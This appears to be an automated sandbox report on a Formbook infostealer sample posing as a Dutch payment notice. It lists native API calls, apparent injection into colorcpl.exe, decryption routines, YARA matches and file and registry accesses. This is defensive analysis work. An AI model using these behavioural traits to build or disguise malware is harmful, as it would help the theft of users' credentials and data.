Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A799A0 NtCreateSection,LdrInitializeThunk, 1_2_00A799A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79910 NtAdjustPrivilegesToken,LdrInitializeThunk, 1_2_00A79910
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79A20 NtResumeThread,LdrInitializeThunk, 1_2_00A79A20
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79A00 NtProtectVirtualMemory,LdrInitializeThunk, 1_2_00A79A00
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79A50 NtCreateFile,LdrInitializeThunk, 1_2_00A79A50
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A795D0 NtClose,LdrInitializeThunk, 1_2_00A795D0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79540 NtReadFile,LdrInitializeThunk, 1_2_00A79540
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A796E0 NtFreeVirtualMemory,LdrInitializeThunk, 1_2_00A796E0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79660 NtAllocateVirtualMemory,LdrInitializeThunk, 1_2_00A79660
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A797A0 NtUnmapViewOfSection,LdrInitializeThunk, 1_2_00A797A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79780 NtMapViewOfSection,LdrInitializeThunk, 1_2_00A79780
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79FE0 NtCreateMutant,LdrInitializeThunk, 1_2_00A79FE0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79710 NtQueryInformationToken,LdrInitializeThunk, 1_2_00A79710
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A798A0 NtWriteVirtualMemory, 1_2_00A798A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79820 NtEnumerateKey, 1_2_00A79820
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A7B040 NtSuspendThread, 1_2_00A7B040
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A799D0 NtCreateProcessEx, 1_2_00A799D0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79950 NtQueueApcThread, 1_2_00A79950
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79A80 NtOpenDirectoryObject, 1_2_00A79A80
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79A10 NtQuerySection, 1_2_00A79A10
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A7A3B0 NtGetContextThread, 1_2_00A7A3B0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79B00 NtSetValueKey, 1_2_00A79B00
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A795F0 NtQueryInformationFile, 1_2_00A795F0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79520 NtWaitForSingleObject, 1_2_00A79520
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A7AD30 NtSetContextThread, 1_2_00A7AD30
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79560 NtWriteFile, 1_2_00A79560
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A796D0 NtCreateKey, 1_2_00A796D0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79610 NtEnumerateValueKey, 1_2_00A79610
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79670 NtQueryInformationProcess, 1_2_00A79670
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79650 NtQueryValueKey, 1_2_00A79650
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79730 NtQueryVirtualMemory, 1_2_00A79730
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A7A710 NtOpenProcessToken, 1_2_00A7A710
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79760 NtOpenProcess, 1_2_00A79760
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79770 NtSetInformationFile, 1_2_00A79770
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A7A770 NtOpenThread, 1_2_00A7A770
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_004181B0 NtCreateFile, 1_1_004181B0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00418260 NtReadFile, 1_1_00418260
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_004182E0 NtClose, 1_1_004182E0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00418390 NtAllocateVirtualMemory, 1_1_00418390
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_004181AA NtCreateFile, 1_1_004181AA
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_004182DA NtClose, 1_1_004182DA
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709540 NtReadFile,LdrInitializeThunk, 7_2_04709540
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047095D0 NtClose,LdrInitializeThunk, 7_2_047095D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709660 NtAllocateVirtualMemory,LdrInitializeThunk, 7_2_04709660
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709650 NtQueryValueKey,LdrInitializeThunk, 7_2_04709650
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047096E0 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_047096E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047096D0 NtCreateKey,LdrInitializeThunk, 7_2_047096D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709710 NtQueryInformationToken,LdrInitializeThunk, 7_2_04709710
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709FE0 NtCreateMutant,LdrInitializeThunk, 7_2_04709FE0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709780 NtMapViewOfSection,LdrInitializeThunk, 7_2_04709780
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709860 NtQuerySystemInformation,LdrInitializeThunk, 7_2_04709860
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709840 NtDelayExecution,LdrInitializeThunk, 7_2_04709840
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709910 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_04709910
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047099A0 NtCreateSection,LdrInitializeThunk, 7_2_047099A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709A50 NtCreateFile,LdrInitializeThunk, 7_2_04709A50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709560 NtWriteFile, 7_2_04709560
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0470AD30 NtSetContextThread, 7_2_0470AD30
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709520 NtWaitForSingleObject, 7_2_04709520
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047095F0 NtQueryInformationFile, 7_2_047095F0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709670 NtQueryInformationProcess, 7_2_04709670
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709610 NtEnumerateValueKey, 7_2_04709610
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0470A770 NtOpenThread, 7_2_0470A770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709770 NtSetInformationFile, 7_2_04709770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709760 NtOpenProcess, 7_2_04709760
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709730 NtQueryVirtualMemory, 7_2_04709730
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0470A710 NtOpenProcessToken, 7_2_0470A710
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047097A0 NtUnmapViewOfSection, 7_2_047097A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0470B040 NtSuspendThread, 7_2_0470B040
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709820 NtEnumerateKey, 7_2_04709820
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047098F0 NtReadVirtualMemory, 7_2_047098F0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047098A0 NtWriteVirtualMemory, 7_2_047098A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709950 NtQueueApcThread, 7_2_04709950
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047099D0 NtCreateProcessEx, 7_2_047099D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709A20 NtResumeThread, 7_2_04709A20
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709A10 NtQuerySection, 7_2_04709A10
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709A00 NtProtectVirtualMemory, 7_2_04709A00
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709A80 NtOpenDirectoryObject, 7_2_04709A80
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04709B00 NtSetValueKey, 7_2_04709B00
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0470A3B0 NtGetContextThread, 7_2_0470A3B0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_02548260 NtReadFile, 7_2_02548260
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_025482E0 NtClose, 7_2_025482E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_02548390 NtAllocateVirtualMemory, 7_2_02548390
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_025481B0 NtCreateFile, 7_2_025481B0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_025482DA NtClose, 7_2_025482DA
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_025481AA NtCreateFile, 7_2_025481AA
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_0040314A EntryPoint,#17,OleInitialize,SHGetFileInfoA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,GetCommandLineA,GetModuleHandleA,CharNextA,OleUninitialize,ExitProcess,lstrcatA,CreateDirectoryA,lstrcatA,lstrcatA,DeleteFileA,GetModuleFileNameA,lstrcmpiA,CopyFileA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 0_2_0040314A
Detected potential crypto function
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_004046A7 0_2_004046A7
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00401030 1_2_00401030
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00408C4B 1_2_00408C4B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00408C50 1_2_00408C50
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_0041BC56 1_2_0041BC56
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_0041B496 1_2_0041B496
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_0041CD31 1_2_0041CD31
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00402D87 1_2_00402D87
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00402D90 1_2_00402D90
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00402FB0 1_2_00402FB0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A620A0 1_2_00A620A0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B020A8 1_2_00B020A8
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4B090 1_2_00A4B090
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B028EC 1_2_00B028EC
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B0E824 1_2_00B0E824
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1002 1_2_00AF1002
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A54120 1_2_00A54120
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3F900 1_2_00A3F900
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B022AE 1_2_00B022AE
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AEFA2B 1_2_00AEFA2B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6EBB0 1_2_00A6EBB0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF03DA 1_2_00AF03DA
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFDBD2 1_2_00AFDBD2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B02B28 1_2_00B02B28
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4841F 1_2_00A4841F
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFD466 1_2_00AFD466
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A62581 1_2_00A62581
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4D5E0 1_2_00A4D5E0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B025DD 1_2_00B025DD
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A30D20 1_2_00A30D20
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B02D07 1_2_00B02D07
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B01D55 1_2_00B01D55
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B02EF7 1_2_00B02EF7
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A56E30 1_2_00A56E30
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFD616 1_2_00AFD616
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B01FF1 1_2_00B01FF1
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B0DFCE 1_2_00B0DFCE
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00401030 1_1_00401030
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00408C4B 1_1_00408C4B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00408C50 1_1_00408C50
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_0041BC56 1_1_0041BC56
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_0041B496 1_1_0041B496
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_0041CD31 1_1_0041CD31
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00402D87 1_1_00402D87
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00402D90 1_1_00402D90
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_1_00402FB0 1_1_00402FB0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478D466 7_2_0478D466
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D841F 7_2_046D841F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04791D55 7_2_04791D55
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046C0D20 7_2_046C0D20
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04792D07 7_2_04792D07
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046DD5E0 7_2_046DD5E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047925DD 7_2_047925DD
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F2581 7_2_046F2581
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E6E30 7_2_046E6E30
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478D616 7_2_0478D616
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04792EF7 7_2_04792EF7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04791FF1 7_2_04791FF1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781002 7_2_04781002
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047928EC 7_2_047928EC
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F20A0 7_2_046F20A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047920A8 7_2_047920A8
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046DB090 7_2_046DB090
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E4120 7_2_046E4120
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046CF900 7_2_046CF900
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047922AE 7_2_047922AE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04792B28 7_2_04792B28
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478DBD2 7_2_0478DBD2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FEBB0 7_2_046FEBB0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_02532FB0 7_2_02532FB0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_02538C50 7_2_02538C50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_02538C4B 7_2_02538C4B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0254B496 7_2_0254B496
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0254CD31 7_2_0254CD31
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_02532D90 7_2_02532D90
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_02532D87 7_2_02532D87
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: String function: 00A3B150 appears 45 times
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: String function: 0041A090 appears 38 times
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: String function: 046CB150 appears 35 times
Sample file is different than original file name gathered from version info
Source: Betaling_advies.exe, 00000000.00000003.651276724.000000001F15F000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs Betaling_advies.exe
Source: Betaling_advies.exe, 00000001.00000002.692105049.0000000000B2F000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs Betaling_advies.exe
Source: Betaling_advies.exe, 00000001.00000002.692711929.0000000000D73000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamecolorcpl.exej% vs Betaling_advies.exe
Uses 32bit PE files
Source: Betaling_advies.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Yara signature match
Source: 00000001.00000001.650199576.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000001.650199576.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.691540714.00000000009C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.691540714.00000000009C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.654811569.0000000002680000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.654811569.0000000002680000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.910277347.0000000002530000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.910277347.0000000002530000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.690806042.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.690806042.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.692667485.0000000000D40000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.692667485.0000000000D40000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.909643904.0000000000320000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.909643904.0000000000320000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Betaling_advies.exe.2680000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.Betaling_advies.exe.2680000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Betaling_advies.exe.2680000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.Betaling_advies.exe.2680000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: classification engine Classification label: mal100.troj.evad.winEXE@7/3@15/9
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_004041E5 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 0_2_004041E5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_004020A6 CoCreateInstance,MultiByteToWideChar, 0_2_004020A6
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5792:120:WilError_01
Source: C:\Users\user\Desktop\Betaling_advies.exe File created: C:\Users\user\AppData\Local\Temp\nsx3A69.tmp Jump to behavior
Source: Betaling_advies.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Betaling_advies.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\Betaling_advies.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
